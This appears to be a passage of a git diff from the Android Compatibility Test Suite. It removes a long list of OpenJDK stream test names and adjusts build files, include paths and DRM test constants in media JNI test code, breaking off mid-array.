-org.openjdk.tests.java.util.stream.ConcatTest#testIntConcat
-org.openjdk.tests.java.util.stream.ConcatTest#testIntConcat
-org.openjdk.tests.java.util.stream.ConcatTest#testIntConcat
-org.openjdk.tests.java.util.stream.ConcatTest#testIntConcat
-org.openjdk.tests.java.util.stream.ConcatTest#testIntConcat
-org.openjdk.tests.java.util.stream.ConcatTest#testIntConcat
-org.openjdk.tests.java.util.stream.ConcatTest#testIntConcat
-org.openjdk.tests.java.util.stream.ConcatTest#testIntConcat
-org.openjdk.tests.java.util.stream.ConcatTest#testIntConcat
-org.openjdk.tests.java.util.stream.ConcatTest#testLongConcat
-org.openjdk.tests.java.util.stream.ConcatTest#testLongConcat
-org.openjdk.tests.java.util.stream.ConcatTest#testLongConcat
-org.openjdk.tests.java.util.stream.ConcatTest#testLongConcat
-org.openjdk.tests.java.util.stream.ConcatTest#testLongConcat
-org.openjdk.tests.java.util.stream.ConcatTest#testLongConcat
-org.openjdk.tests.java.util.stream.ConcatTest#testLongConcat
-org.openjdk.tests.java.util.stream.ConcatTest#testLongConcat
-org.openjdk.tests.java.util.stream.ConcatTest#testLongConcat
-org.openjdk.tests.java.util.stream.ConcatTest#testLongConcat
-org.openjdk.tests.java.util.stream.ConcatTest#testLongConcat
-org.openjdk.tests.java.util.stream.ConcatTest#testLongConcat
-org.openjdk.tests.java.util.stream.ConcatTest#testRefConcat
-org.openjdk.tests.java.util.stream.ConcatTest#testRefConcat
-org.openjdk.tests.java.util.stream.ConcatTest#testRefConcat
-org.openjdk.tests.java.util.stream.ConcatTest#testRefConcat
-org.openjdk.tests.java.util.stream.ConcatTest#testRefConcat
-org.openjdk.tests.java.util.stream.ConcatTest#testRefConcat
-org.openjdk.tests.java.util.stream.ConcatTest#testRefConcat
-org.openjdk.tests.java.util.stream.ConcatTest#testRefConcat
-org.openjdk.tests.java.util.stream.ConcatTest#testRefConcat
-org.openjdk.tests.java.util.stream.ConcatTest#testRefConcat
-org.openjdk.tests.java.util.stream.ConcatTest#testRefConcat
-org.openjdk.tests.java.util.stream.ConcatTest#testRefConcat
-org.openjdk.tests.java.util.stream.CountLargeTest#testDoubleLarge
-org.openjdk.tests.java.util.stream.CountLargeTest#testIntLarge
-org.openjdk.tests.java.util.stream.CountLargeTest#testLongLarge
-org.openjdk.tests.java.util.stream.CountLargeTest#testRefLarge
-org.openjdk.tests.java.util.stream.CountTest#testOps
-org.openjdk.tests.java.util.stream.CountTest#testOps
-org.openjdk.tests.java.util.stream.CountTest#testOps
-org.openjdk.tests.java.util.stream.CountTest#testOps
-org.openjdk.tests.java.util.stream.DistinctOpTest#testDistinctDistinct
-org.openjdk.tests.java.util.stream.DistinctOpTest#testDistinctSorted
-org.openjdk.tests.java.util.stream.DistinctOpTest#testOp
-org.openjdk.tests.java.util.stream.DistinctOpTest#testOpWithNull
-org.openjdk.tests.java.util.stream.DistinctOpTest#testOpWithNullSorted
-org.openjdk.tests.java.util.stream.DistinctOpTest#testSortedDistinct
-org.openjdk.tests.java.util.stream.DistinctOpTest#testStable
-org.openjdk.tests.java.util.stream.DistinctOpTest#testUniqOp
-org.openjdk.tests.java.util.stream.DistinctOpTest#testWithUnorderedInfiniteStream
-org.openjdk.tests.java.util.stream.DoublePrimitiveOpsTests#testLimit
-org.openjdk.tests.java.util.stream.DoublePrimitiveOpsTests#testSort
-org.openjdk.tests.java.util.stream.DoublePrimitiveOpsTests#testSortSort
-org.openjdk.tests.java.util.stream.DoublePrimitiveOpsTests#testToArray
-org.openjdk.tests.java.util.stream.DoublePrimitiveOpsTests#testUnBox
-org.openjdk.tests.java.util.stream.ExplodeOpTest#testDoubleOps
-org.openjdk.tests.java.util.stream.ExplodeOpTest#testFlatMap
-org.openjdk.tests.java.util.stream.ExplodeOpTest#testIntOps
-org.openjdk.tests.java.util.stream.ExplodeOpTest#testLongOps
-org.openjdk.tests.java.util.stream.ExplodeOpTest#testOps
-org.openjdk.tests.java.util.FillableStringTest#testStringBuffer
-org.openjdk.tests.java.util.FillableStringTest#testStringBuilder
-org.openjdk.tests.java.util.FillableStringTest#testStringJoiner
-org.openjdk.tests.java.util.stream.FilterOpTest#testFilter
-org.openjdk.tests.java.util.stream.FilterOpTest#testOps
-org.openjdk.tests.java.util.stream.FilterOpTest#testOps
-org.openjdk.tests.java.util.stream.FilterOpTest#testOps
-org.openjdk.tests.java.util.stream.FilterOpTest#testOps
-org.openjdk.tests.java.util.stream.FindAnyOpTest#testDoubleStream
-org.openjdk.tests.java.util.stream.FindAnyOpTest#testFindAny
-org.openjdk.tests.java.util.stream.FindAnyOpTest#testFindAnyParallel
-org.openjdk.tests.java.util.stream.FindAnyOpTest#testIntStream
-org.openjdk.tests.java.util.stream.FindAnyOpTest#testLongStream
-org.openjdk.tests.java.util.stream.FindAnyOpTest#testStream
-org.openjdk.tests.java.util.stream.FindFirstOpTest#testDoubleStream
-org.openjdk.tests.java.util.stream.FindFirstOpTest#testFindFirst
-org.openjdk.tests.java.util.stream.FindFirstOpTest#testIntStream
-org.openjdk.tests.java.util.stream.FindFirstOpTest#testLongStream
-org.openjdk.tests.java.util.stream.FindFirstOpTest#testStream
-org.openjdk.tests.java.util.stream.ForEachOpTest#testDoubleForEachOrdered
-org.openjdk.tests.java.util.stream.ForEachOpTest#testDoubleOps
-org.openjdk.tests.java.util.stream.ForEachOpTest#testForEach
-org.openjdk.tests.java.util.stream.ForEachOpTest#testForEach
-org.openjdk.tests.java.util.stream.ForEachOpTest#testForEachOrdered
-org.openjdk.tests.java.util.stream.ForEachOpTest#testIntForEach
-org.openjdk.tests.java.util.stream.ForEachOpTest#testIntForEachOrdered
-org.openjdk.tests.java.util.stream.ForEachOpTest#testLongForEachOrdered
-org.openjdk.tests.java.util.stream.ForEachOpTest#testLongOps
-org.openjdk.tests.java.util.stream.GroupByOpTest#testBypassCollect
-org.openjdk.tests.java.util.stream.GroupByOpTest#testGroupBy
-org.openjdk.tests.java.util.stream.GroupByOpTest#testOps
-org.openjdk.tests.java.util.stream.InfiniteStreamWithLimitOpTest#testDoubleSubsizedWithRange
-org.openjdk.tests.java.util.stream.InfiniteStreamWithLimitOpTest#testDoubleUnorderedFinite
-org.openjdk.tests.java.util.stream.InfiniteStreamWithLimitOpTest#testDoubleUnorderedGenerator
-org.openjdk.tests.java.util.stream.InfiniteStreamWithLimitOpTest#testDoubleUnorderedIteration
-org.openjdk.tests.java.util.stream.InfiniteStreamWithLimitOpTest#testDoubleUnorderedSizedNotSubsizedFinite
-org.openjdk.tests.java.util.stream.InfiniteStreamWithLimitOpTest#testIntSubsizedWithRange
-org.openjdk.tests.java.util.stream.InfiniteStreamWithLimitOpTest#testIntUnorderedFinite
-org.openjdk.tests.java.util.stream.InfiniteStreamWithLimitOpTest#testIntUnorderedGenerator
-org.openjdk.tests.java.util.stream.InfiniteStreamWithLimitOpTest#testIntUnorderedIteration
-org.openjdk.tests.java.util.stream.InfiniteStreamWithLimitOpTest#testIntUnorderedSizedNotSubsizedFinite
-org.openjdk.tests.java.util.stream.InfiniteStreamWithLimitOpTest#testLongSubsizedWithRange
-org.openjdk.tests.java.util.stream.InfiniteStreamWithLimitOpTest#testLongUnorderedFinite
-org.openjdk.tests.java.util.stream.InfiniteStreamWithLimitOpTest#testLongUnorderedGenerator
-org.openjdk.tests.java.util.stream.InfiniteStreamWithLimitOpTest#testLongUnorderedIteration
-org.openjdk.tests.java.util.stream.InfiniteStreamWithLimitOpTest#testLongUnorderedSizedNotSubsizedFinite
-org.openjdk.tests.java.util.stream.InfiniteStreamWithLimitOpTest#testSubsizedWithRange
-org.openjdk.tests.java.util.stream.InfiniteStreamWithLimitOpTest#testUnorderedFinite
-org.openjdk.tests.java.util.stream.InfiniteStreamWithLimitOpTest#testUnorderedGenerator
-org.openjdk.tests.java.util.stream.InfiniteStreamWithLimitOpTest#testUnorderedIteration
-org.openjdk.tests.java.util.stream.InfiniteStreamWithLimitOpTest#testUnorderedSizedNotSubsizedFinite
-org.openjdk.tests.java.util.stream.IntPrimitiveOpsTests#testBox
-org.openjdk.tests.java.util.stream.IntPrimitiveOpsTests#testForEach
-org.openjdk.tests.java.util.stream.IntPrimitiveOpsTests#testLimit
-org.openjdk.tests.java.util.stream.IntPrimitiveOpsTests#testMap
-org.openjdk.tests.java.util.stream.IntPrimitiveOpsTests#testParForEach
-org.openjdk.tests.java.util.stream.IntPrimitiveOpsTests#testParSum
-org.openjdk.tests.java.util.stream.IntPrimitiveOpsTests#testSequential
-org.openjdk.tests.java.util.stream.IntPrimitiveOpsTests#testSort
-org.openjdk.tests.java.util.stream.IntPrimitiveOpsTests#testSortSort
-org.openjdk.tests.java.util.stream.IntPrimitiveOpsTests#testSum
-org.openjdk.tests.java.util.stream.IntPrimitiveOpsTests#testTee
-org.openjdk.tests.java.util.stream.IntPrimitiveOpsTests#testToArray
-org.openjdk.tests.java.util.stream.IntPrimitiveOpsTests#testUnBox
-org.openjdk.tests.java.util.stream.IntReduceTest#testOps
-org.openjdk.tests.java.util.stream.IntReduceTest#testReduce
-org.openjdk.tests.java.util.stream.IntSliceOpTest#testLimit
-org.openjdk.tests.java.util.stream.IntSliceOpTest#testLimitOps
-org.openjdk.tests.java.util.stream.IntSliceOpTest#testLimitParallel
-org.openjdk.tests.java.util.stream.IntSliceOpTest#testLimitShortCircuit
-org.openjdk.tests.java.util.stream.IntSliceOpTest#testLimitSort
-org.openjdk.tests.java.util.stream.IntSliceOpTest#testSkip
-org.openjdk.tests.java.util.stream.IntSliceOpTest#testSkipLimit
-org.openjdk.tests.java.util.stream.IntSliceOpTest#testSkipLimitOps
-org.openjdk.tests.java.util.stream.IntSliceOpTest#testSkipOps
-org.openjdk.tests.java.util.stream.IntSliceOpTest#testSkipParallel
-org.openjdk.tests.java.util.stream.IntUniqOpTest#testOp
-org.openjdk.tests.java.util.stream.IntUniqOpTest#testOpSorted
-org.openjdk.tests.java.util.stream.IntUniqOpTest#testUniqOp
-org.openjdk.tests.java.util.stream.LongPrimitiveOpsTests#testBox
-org.openjdk.tests.java.util.stream.LongPrimitiveOpsTests#testForEach
-org.openjdk.tests.java.util.stream.LongPrimitiveOpsTests#testLimit
-org.openjdk.tests.java.util.stream.LongPrimitiveOpsTests#testMap
-org.openjdk.tests.java.util.stream.LongPrimitiveOpsTests#testParForEach
-org.openjdk.tests.java.util.stream.LongPrimitiveOpsTests#testParSum
-org.openjdk.tests.java.util.stream.LongPrimitiveOpsTests#testSequential
-org.openjdk.tests.java.util.stream.LongPrimitiveOpsTests#testSort
-org.openjdk.tests.java.util.stream.LongPrimitiveOpsTests#testSortSort
-org.openjdk.tests.java.util.stream.LongPrimitiveOpsTests#testSum
-org.openjdk.tests.java.util.stream.LongPrimitiveOpsTests#testTee
-org.openjdk.tests.java.util.stream.LongPrimitiveOpsTests#testToArray
-org.openjdk.tests.java.util.stream.LongPrimitiveOpsTests#testUnBox
-org.openjdk.tests.java.util.stream.MapOpTest#testDoubleOps
-org.openjdk.tests.java.util.stream.MapOpTest#testEveryMapShape
-org.openjdk.tests.java.util.stream.MapOpTest#testIntOps
-org.openjdk.tests.java.util.stream.MapOpTest#testLongOps
-org.openjdk.tests.java.util.stream.MapOpTest#testMap
-org.openjdk.tests.java.util.stream.MapOpTest#testOps
-org.openjdk.tests.java.util.MapTest#testForEach
-org.openjdk.tests.java.util.MapTest#testReplaceAll
-org.openjdk.tests.java.util.stream.MatchOpTest#testDoubleInfinite
-org.openjdk.tests.java.util.stream.MatchOpTest#testDoubleStream
-org.openjdk.tests.java.util.stream.MatchOpTest#testDoubleStreamMatches
-org.openjdk.tests.java.util.stream.MatchOpTest#testInfinite
-org.openjdk.tests.java.util.stream.MatchOpTest#testIntInfinite
-org.openjdk.tests.java.util.stream.MatchOpTest#testIntStream
-org.openjdk.tests.java.util.stream.MatchOpTest#testIntStreamMatches
-org.openjdk.tests.java.util.stream.MatchOpTest#testLongInfinite
-org.openjdk.tests.java.util.stream.MatchOpTest#testLongStream
-org.openjdk.tests.java.util.stream.MatchOpTest#testLongStreamMatches
-org.openjdk.tests.java.util.stream.MatchOpTest#testStream
-org.openjdk.tests.java.util.stream.MatchOpTest#testStreamMatches
-org.openjdk.tests.java.util.stream.MinMaxTest#testDoubleMinMax
-org.openjdk.tests.java.util.stream.MinMaxTest#testDoubleOps
-org.openjdk.tests.java.util.stream.MinMaxTest#testIntMinMax
-org.openjdk.tests.java.util.stream.MinMaxTest#testIntOps
-org.openjdk.tests.java.util.stream.MinMaxTest#testLongMinMax
-org.openjdk.tests.java.util.stream.MinMaxTest#testLongOps
-org.openjdk.tests.java.util.stream.MinMaxTest#testMinMax
-org.openjdk.tests.java.util.stream.MinMaxTest#testOps
-org.openjdk.tests.java.util.stream.PrimitiveAverageOpTest#testOps
-org.openjdk.tests.java.util.stream.PrimitiveAverageOpTest#testOps
-org.openjdk.tests.java.util.stream.PrimitiveAverageOpTest#testOps
-org.openjdk.tests.java.util.stream.PrimitiveSumTest#testOps
-org.openjdk.tests.java.util.stream.PrimitiveSumTest#testOps
-org.openjdk.tests.java.util.stream.PrimitiveSumTest#testOps
-org.openjdk.tests.java.util.stream.RangeTest#tesIntRangeReduce
-org.openjdk.tests.java.util.stream.RangeTest#testInfiniteRangeFindFirst
-org.openjdk.tests.java.util.stream.RangeTest#testIntInfiniteRangeFindFirst
-org.openjdk.tests.java.util.stream.RangeTest#testIntInfiniteRangeLimit
-org.openjdk.tests.java.util.stream.RangeTest#testIntRange
-org.openjdk.tests.java.util.stream.RangeTest#testLongInfiniteRangeFindFirst
-org.openjdk.tests.java.util.stream.RangeTest#testLongInfiniteRangeLimit
-org.openjdk.tests.java.util.stream.RangeTest#testLongLongRange
-org.openjdk.tests.java.util.stream.RangeTest#testLongLongRangeClosed
-org.openjdk.tests.java.util.stream.RangeTest#testLongRange
-org.openjdk.tests.java.util.stream.RangeTest#testLongRangeReduce
-org.openjdk.tests.java.util.stream.ReduceByOpTest#testOps
-org.openjdk.tests.java.util.stream.ReduceTest#testOps
-org.openjdk.tests.java.util.stream.ReduceTest#testReduce
-org.openjdk.tests.java.util.stream.SequentialOpTest#testLazy
-org.openjdk.tests.java.util.stream.SequentialOpTest#testMixedSeqPar
-org.openjdk.tests.java.util.stream.SliceOpTest#testLimit
-org.openjdk.tests.java.util.stream.SliceOpTest#testLimitOps
-org.openjdk.tests.java.util.stream.SliceOpTest#testLimitShortCircuit
-org.openjdk.tests.java.util.stream.SliceOpTest#testLimitSort
-org.openjdk.tests.java.util.stream.SliceOpTest#testSkip
-org.openjdk.tests.java.util.stream.SliceOpTest#testSkipLimit
-org.openjdk.tests.java.util.stream.SliceOpTest#testSkipLimitOps
-org.openjdk.tests.java.util.stream.SliceOpTest#testSkipLimitOpsWithNonSplittingSpliterator
-org.openjdk.tests.java.util.stream.SliceOpTest#testSkipOps
-org.openjdk.tests.java.util.stream.SliceOpTest#testSlice
-org.openjdk.tests.java.util.stream.SortedOpTest#testDoubleOps
-org.openjdk.tests.java.util.stream.SortedOpTest#testDoubleSequentialShortCircuitTerminal
-org.openjdk.tests.java.util.stream.SortedOpTest#testDoubleSortSort
-org.openjdk.tests.java.util.stream.SortedOpTest#testDoubleStreamTooLarge
-org.openjdk.tests.java.util.stream.SortedOpTest#testIntOps
-org.openjdk.tests.java.util.stream.SortedOpTest#testIntSequentialShortCircuitTerminal
-org.openjdk.tests.java.util.stream.SortedOpTest#testIntSortSort
-org.openjdk.tests.java.util.stream.SortedOpTest#testIntStreamTooLarge
-org.openjdk.tests.java.util.stream.SortedOpTest#testLongOps
-org.openjdk.tests.java.util.stream.SortedOpTest#testLongSequentialShortCircuitTerminal
-org.openjdk.tests.java.util.stream.SortedOpTest#testLongSortSort
-org.openjdk.tests.java.util.stream.SortedOpTest#testLongStreamTooLarge
-org.openjdk.tests.java.util.stream.SortedOpTest#testOps
-org.openjdk.tests.java.util.stream.SortedOpTest#testRefStreamTooLarge
-org.openjdk.tests.java.util.stream.SortedOpTest#testSequentialShortCircuitTerminal
-org.openjdk.tests.java.util.stream.SortedOpTest#testSortSort
-org.openjdk.tests.java.util.stream.SortedOpTest#testSorted
-org.openjdk.tests.java.util.stream.SpliteratorTest#testDoubleSpliterator
-org.openjdk.tests.java.util.stream.SpliteratorTest#testIntSpliterator
-org.openjdk.tests.java.util.stream.SpliteratorTest#testLongSpliterator
-org.openjdk.tests.java.util.stream.SpliteratorTest#testSpliterator
-org.openjdk.tests.java.util.stream.StreamBuilderTest#testAfterBuilding
-org.openjdk.tests.java.util.stream.StreamBuilderTest#testDoubleAfterBuilding
-org.openjdk.tests.java.util.stream.StreamBuilderTest#testDoubleSingleton
-org.openjdk.tests.java.util.stream.StreamBuilderTest#testDoubleStreamBuilder
-org.openjdk.tests.java.util.stream.StreamBuilderTest#testIntAfterBuilding
-org.openjdk.tests.java.util.stream.StreamBuilderTest#testIntSingleton
-org.openjdk.tests.java.util.stream.StreamBuilderTest#testIntStreamBuilder
-org.openjdk.tests.java.util.stream.StreamBuilderTest#testLongAfterBuilding
-org.openjdk.tests.java.util.stream.StreamBuilderTest#testLongSingleton
-org.openjdk.tests.java.util.stream.StreamBuilderTest#testLongStreamBuilder
-org.openjdk.tests.java.util.stream.StreamBuilderTest#testSingleton
-org.openjdk.tests.java.util.stream.StreamBuilderTest#testStreamBuilder
-org.openjdk.tests.java.util.stream.StreamCloseTest#testCascadedExceptions
-org.openjdk.tests.java.util.stream.StreamCloseTest#testEmptyCloseHandler
-org.openjdk.tests.java.util.stream.StreamCloseTest#testOneCloseHandler
-org.openjdk.tests.java.util.stream.StreamCloseTest#testTwoCloseHandlers
-org.openjdk.tests.java.util.stream.StreamLinkTest#testDoubleManyStreams
-org.openjdk.tests.java.util.stream.StreamLinkTest#testIntManyStreams
-org.openjdk.tests.java.util.stream.StreamLinkTest#testLongManyStreams
-org.openjdk.tests.java.util.stream.StreamLinkTest#testManyStreams
-org.openjdk.tests.java.util.stream.StreamParSeqTest#testParSeq
-org.openjdk.tests.java.util.stream.StreamSpliteratorTest#testDoubleParSpliterators
-org.openjdk.tests.java.util.stream.StreamSpliteratorTest#testDoubleSpliterators
-org.openjdk.tests.java.util.stream.StreamSpliteratorTest#testDoubleSplitting
-org.openjdk.tests.java.util.stream.StreamSpliteratorTest#testDoubleStreamSpliterators
-org.openjdk.tests.java.util.stream.StreamSpliteratorTest#testIntParSpliterators
-org.openjdk.tests.java.util.stream.StreamSpliteratorTest#testIntSpliterators
-org.openjdk.tests.java.util.stream.StreamSpliteratorTest#testIntSplitting
-org.openjdk.tests.java.util.stream.StreamSpliteratorTest#testIntStreamSpliterators
-org.openjdk.tests.java.util.stream.StreamSpliteratorTest#testLongParSpliterators
-org.openjdk.tests.java.util.stream.StreamSpliteratorTest#testLongSpliterators
-org.openjdk.tests.java.util.stream.StreamSpliteratorTest#testLongSplitting
-org.openjdk.tests.java.util.stream.StreamSpliteratorTest#testLongStreamSpliterators
-org.openjdk.tests.java.util.stream.StreamSpliteratorTest#testParSpliterators
-org.openjdk.tests.java.util.stream.StreamSpliteratorTest#testSpliterators
-org.openjdk.tests.java.util.stream.StreamSpliteratorTest#testSplitting
-org.openjdk.tests.java.util.stream.StreamSpliteratorTest#testStreamSpliterators
-org.openjdk.tests.java.util.stream.SummaryStatisticsTest#testDoubleStatistics
-org.openjdk.tests.java.util.stream.SummaryStatisticsTest#testIntStatistics
-org.openjdk.tests.java.util.stream.SummaryStatisticsTest#testLongStatistics
-org.openjdk.tests.java.util.stream.TabulatorsTest#testComposeFinisher
-org.openjdk.tests.java.util.stream.TabulatorsTest#testGroupedReduce
-org.openjdk.tests.java.util.stream.TabulatorsTest#testJoin
-org.openjdk.tests.java.util.stream.TabulatorsTest#testReduce
-org.openjdk.tests.java.util.stream.TabulatorsTest#testSimpleGroupBy
-org.openjdk.tests.java.util.stream.TabulatorsTest#testSimplePartition
-org.openjdk.tests.java.util.stream.TabulatorsTest#testSimpleToMap
-org.openjdk.tests.java.util.stream.TabulatorsTest#testTwoLevelGroupBy
-org.openjdk.tests.java.util.stream.TabulatorsTest#testTwoLevelPartition
-org.openjdk.tests.java.util.stream.TeeOpTest#testDoubleOps
-org.openjdk.tests.java.util.stream.TeeOpTest#testIntOps
-org.openjdk.tests.java.util.stream.TeeOpTest#testLongOps
-org.openjdk.tests.java.util.stream.TeeOpTest#testOps
-org.openjdk.tests.java.util.stream.TeeOpTest#testTee
-org.openjdk.tests.java.util.stream.ToArrayOpTest#testAsArrayWithType
-org.openjdk.tests.java.util.stream.ToArrayOpTest#testDistinctAndSortedPermutations
-org.openjdk.tests.java.util.stream.ToArrayOpTest#testDoubleDistinctAndSortedPermutations
-org.openjdk.tests.java.util.stream.ToArrayOpTest#testDoubleOps
-org.openjdk.tests.java.util.stream.ToArrayOpTest#testDoubleOpsWithFilter
-org.openjdk.tests.java.util.stream.ToArrayOpTest#testDoubleOpsWithFlatMap
-org.openjdk.tests.java.util.stream.ToArrayOpTest#testDoubleOpsWithMap
-org.openjdk.tests.java.util.stream.ToArrayOpTest#testDoubleOpsWithSorted
-org.openjdk.tests.java.util.stream.ToArrayOpTest#testDoubleStatefulOpPermutations
-org.openjdk.tests.java.util.stream.ToArrayOpTest#testIntDistinctAndSortedPermutations
-org.openjdk.tests.java.util.stream.ToArrayOpTest#testIntOps
-org.openjdk.tests.java.util.stream.ToArrayOpTest#testIntOpsWithFilter
-org.openjdk.tests.java.util.stream.ToArrayOpTest#testIntOpsWithFlatMap
-org.openjdk.tests.java.util.stream.ToArrayOpTest#testIntOpsWithMap
-org.openjdk.tests.java.util.stream.ToArrayOpTest#testIntOpsWithSorted
-org.openjdk.tests.java.util.stream.ToArrayOpTest#testIntStatefulOpPermutations
-org.openjdk.tests.java.util.stream.ToArrayOpTest#testLongDistinctAndSortedPermutations
-org.openjdk.tests.java.util.stream.ToArrayOpTest#testLongOps
-org.openjdk.tests.java.util.stream.ToArrayOpTest#testLongOpsWithFilter
-org.openjdk.tests.java.util.stream.ToArrayOpTest#testLongOpsWithFlatMap
-org.openjdk.tests.java.util.stream.ToArrayOpTest#testLongOpsWithMap
-org.openjdk.tests.java.util.stream.ToArrayOpTest#testLongOpsWithSorted
-org.openjdk.tests.java.util.stream.ToArrayOpTest#testLongStatefulOpPermutations
-org.openjdk.tests.java.util.stream.ToArrayOpTest#testOps
-org.openjdk.tests.java.util.stream.ToArrayOpTest#testOpsWithFilter
-org.openjdk.tests.java.util.stream.ToArrayOpTest#testOpsWithFlatMap
-org.openjdk.tests.java.util.stream.ToArrayOpTest#testOpsWithMap
-org.openjdk.tests.java.util.stream.ToArrayOpTest#testOpsWithSorted
-org.openjdk.tests.java.util.stream.ToArrayOpTest#testStatefulOpPermutations
-org.openjdk.tests.java.util.stream.ToArrayOpTest#testToArray
diff --git a/tests/tests/location2/Android.mk b/tests/tests/location2/Android.mk
index 4273444..a081213 100644
--- a/tests/tests/location2/Android.mk
+++ b/tests/tests/location2/Android.mk
@@ -24,7 +24,7 @@
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner junit legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/media/Android.mk b/tests/tests/media/Android.mk
index 66dcef6..0d27544 100644
--- a/tests/tests/media/Android.mk
+++ b/tests/tests/media/Android.mk
@@ -44,9 +44,18 @@
 # include both the 32 and 64 bit versions
 LOCAL_MULTILIB := both
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctsmediautil ctsdeviceutil compatibility-device-util ctstestserver ctstestrunner ndkaudio
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    ctsmediautil \
+    ctsdeviceutil \
+    compatibility-device-util \
+    ctstestserver \
+    ctstestrunner \
+    ndkaudio \
+    junit \
+    legacy-android-test
 
-LOCAL_JNI_SHARED_LIBRARIES := libctsmediadrm_jni libctsmediacodec_jni libaudio_jni libnativehelper_compat_libc++ libndkaudioLib
+LOCAL_JNI_SHARED_LIBRARIES := libctsmediacodec_jni libaudio_jni libnativehelper_compat_libc++
+LOCAL_JNI_SHARED_LIBRARIES += libndkaudioLib libctsmediadrm_jni
 
 # do not compress VP9 video files
 LOCAL_AAPT_FLAGS := -0 .vp9
diff --git a/tests/tests/media/libaudiojni/sl-utils.cpp b/tests/tests/media/libaudiojni/sl-utils.cpp
index 4dbb08d..e6debd9a 100644
--- a/tests/tests/media/libaudiojni/sl-utils.cpp
+++ b/tests/tests/media/libaudiojni/sl-utils.cpp
@@ -20,7 +20,7 @@
 #include "sl-utils.h"
 #include <utils/Mutex.h>
 
-#define ARRAY_SIZE(a) (sizeof(a) / sizeof(a[0]))
+#define ARRAY_SIZE(a) (sizeof(a) / sizeof((a)[0]))
 
 // These will wind up in <SLES/OpenSLES_Android.h>
 #define SL_ANDROID_SPEAKER_QUAD (SL_SPEAKER_FRONT_LEFT | SL_SPEAKER_FRONT_RIGHT \
diff --git a/tests/tests/media/libmediandkjni/Android.mk b/tests/tests/media/libmediandkjni/Android.mk
index 5aa222a..1ccdede 100644
--- a/tests/tests/media/libmediandkjni/Android.mk
+++ b/tests/tests/media/libmediandkjni/Android.mk
@@ -19,7 +19,7 @@
 #
 include $(CLEAR_VARS)
 
-LOCAL_MODULE := libctsmediacodec_jni
+LOCAL_MODULE    := libctsmediacodec_jni
 
 LOCAL_MODULE_TAGS := optional
 
@@ -36,11 +36,11 @@
 
 LOCAL_SHARED_LIBRARIES := \
   libandroid libnativehelper_compat_libc++ \
-  liblog libmediandk libEGL
+  liblog libmediandk
 
-LOCAL_SDK_VERSION := 24
+LOCAL_SDK_VERSION := 23
 
-LOCAL_CFLAGS := -Werror -Wall -DEGL_EGLEXT_PROTOTYPES -std=gnu++14
+LOCAL_CFLAGS := -Werror -Wall
 
 include $(BUILD_SHARED_LIBRARY)
 
@@ -49,7 +49,7 @@
 #
 include $(CLEAR_VARS)
 
-LOCAL_MODULE := libctsmediadrm_jni
+LOCAL_MODULE    := libctsmediadrm_jni
 
 # Don't include this package in any configuration by default.
 LOCAL_MODULE_TAGS := optional
@@ -64,16 +64,17 @@
   $(JNI_H_INCLUDE) \
   system/core/include
 
+
 LOCAL_C_INCLUDES += $(call include-path-for, mediandk)
 
 LOCAL_SHARED_LIBRARIES := \
   libandroid libnativehelper_compat_libc++ \
-  liblog libmediandk libdl libEGL
+  liblog libmediandk libdl
 
-LOCAL_SDK_VERSION := 24
-
-LOCAL_CFLAGS := -Werror -Wall -DEGL_EGLEXT_PROTOTYPES
+LOCAL_SDK_VERSION := 23
 
 LOCAL_NDK_STL_VARIANT := c++_static
 
+LOCAL_CFLAGS := -Werror -Wall
+
 include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/media/libmediandkjni/codec-utils-jni.cpp b/tests/tests/media/libmediandkjni/codec-utils-jni.cpp
index cb4363e..d7bd74e 100644
--- a/tests/tests/media/libmediandkjni/codec-utils-jni.cpp
+++ b/tests/tests/media/libmediandkjni/codec-utils-jni.cpp
@@ -24,8 +24,8 @@
 #include <sys/types.h>
 #include <jni.h>
 
-#include <ScopedLocalRef.h>
-#include <JNIHelp.h>
+#include <nativehelper/JNIHelp.h>
+#include <nativehelper/ScopedLocalRef.h>
 
 #include <math.h>
 
diff --git a/tests/tests/media/libmediandkjni/md5_utils.cpp b/tests/tests/media/libmediandkjni/md5_utils.cpp
index 7850cac..8e520e1 100644
--- a/tests/tests/media/libmediandkjni/md5_utils.cpp
+++ b/tests/tests/media/libmediandkjni/md5_utils.cpp
@@ -157,7 +157,7 @@
  */
 void
 MD5Transform(UWORD32 buf[4], UWORD32 const in[16]) {
-  /*register*/ UWORD32 a, b, c, d;
+  UWORD32 a, b, c, d;
 
   a = buf[0];
   b = buf[1];
diff --git a/tests/tests/media/libmediandkjni/native-mediadrm-jni.cpp b/tests/tests/media/libmediandkjni/native-mediadrm-jni.cpp
index 571cec4..fb14bdb 100644
--- a/tests/tests/media/libmediandkjni/native-mediadrm-jni.cpp
+++ b/tests/tests/media/libmediandkjni/native-mediadrm-jni.cpp
@@ -24,7 +24,7 @@
 
 #include <assert.h>
 #include <jni.h>
-#include <JNIHelp.h>
+#include <nativehelper/JNIHelp.h>
 
 #include <android/native_window_jni.h>
 
@@ -59,9 +59,9 @@
 static const size_t kPlayTimeSeconds = 30;
 static const size_t kUuidSize = 16;
 
-static const uint8_t kClearKeyUuid[kUuidSize] = {
-    0x10, 0x77, 0xef, 0xec, 0xc0, 0xb2, 0x4d, 0x02,
-    0xac, 0xe3, 0x3c, 0x1e, 0x52, 0xe2, 0xfb, 0x4b
+static const uint8_t kWidevineUuid[kUuidSize] = {
+    0xed, 0xef, 0x8b, 0xa9, 0x79, 0xd6, 0x4a, 0xce,
+    0xa3, 0xc8, 0x27, 0xdc, 0xd5, 0x1d, 0x21, 0xed
 };
 
 // The test content is not packaged with clearkey UUID,
@@ -77,8 +77,8 @@
     // number of key ids
     0x00, 0x00, 0x00, 0x01,
     // key id
-    0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30,
-    0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30,
+    0x60, 0x06, 0x1e, 0x01, 0x7e, 0x47, 0x7e, 0x87,
+    0x7e, 0x57, 0xd0, 0x0d, 0x1e, 0xd0, 0x0d, 0x1e,
     // size of data, must be zero
     0x00, 0x00, 0x00, 0x00
 };
@@ -86,23 +86,23 @@
 static const uint8_t kKeyRequestData[] = {
     0x7b, 0x22, 0x6b, 0x69, 0x64,
